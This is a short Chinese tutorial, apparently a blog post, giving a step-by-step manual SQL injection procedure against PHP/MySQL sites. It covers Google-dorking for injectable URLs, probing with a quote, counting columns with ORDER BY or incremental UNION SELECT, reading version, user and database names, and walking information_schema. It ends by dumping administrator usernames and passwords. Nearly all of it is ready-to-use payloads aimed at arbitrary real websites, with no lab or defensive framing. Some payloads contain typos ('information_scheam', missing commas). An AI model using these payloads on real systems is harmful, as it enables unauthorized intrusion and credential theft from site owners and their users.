sql 注入

阅读更多

1。在google里面搜索site:www.domain.com inurl:php?nid(uid,gid)=

2。打开页面,在url后面加上',判断注入点

3。在url后面加上 order by 10-- 判断这个库里面有多少字段

=====================================

一般不能order by的注入点是因为URL那个参数就是order by 后面的值
比如www.hackme.com/file.php?id=22
SQL是select xx from xx where xx=xx order by $id 所以我们不能再order by了
这样的情况可以用union Select 1--   union select 1,2--  union select 1,2,3-- ...
这样递增的方式来取得字段数

=====================================

4。在url后面 加上 and 1=2 union all select 1,2,3,4,5--判断页面显示字段是那几个字段

5。在url上用and 1=2 union all select 1,2,version(),4,5--判断mysql的数据库版本

6。在url上用and 1=2 union all select 1,2,user()4,5--判断mysql的当前的用户名

7。用and 1=2 union all select 1,2,database()4,5--判断mysql当前的数据库名

8。用and 1=2 union all select 1,2,table_name,4,5 from information_scheam.tables where table_schema=(刚才查到数据库名的16进制显示) limit 0,1-- 找这个数据库里面的用户密码管理表,通过修改limit后面的0来查找(一般是admin,administrator等等名称的表)。

==========================================

如果报出:解决联合查询Illegal mix of collations for operation 'UNION'问题,这个错误的原因是两个段的编码不同导致的,这是只要加个hex就可以了如:unhex(hex(table_name))

==========================================

9。用and 1=2 union all select 1,2,column_name,4,5 from information_scheam.columns where table_name=(表名的16进制显示) limit 0,1-- 通过控制limit后面的0找到这个表里面的管理用户名和密码的那2个列的名称 

10。用and 1=2 union all select 1,2,username,password,5 from administrators limit 0,1--,通过控制limit来显示保存在表里面的用户名和密码

 

你可能感兴趣的:(SQL,MySQL,PHP,Google)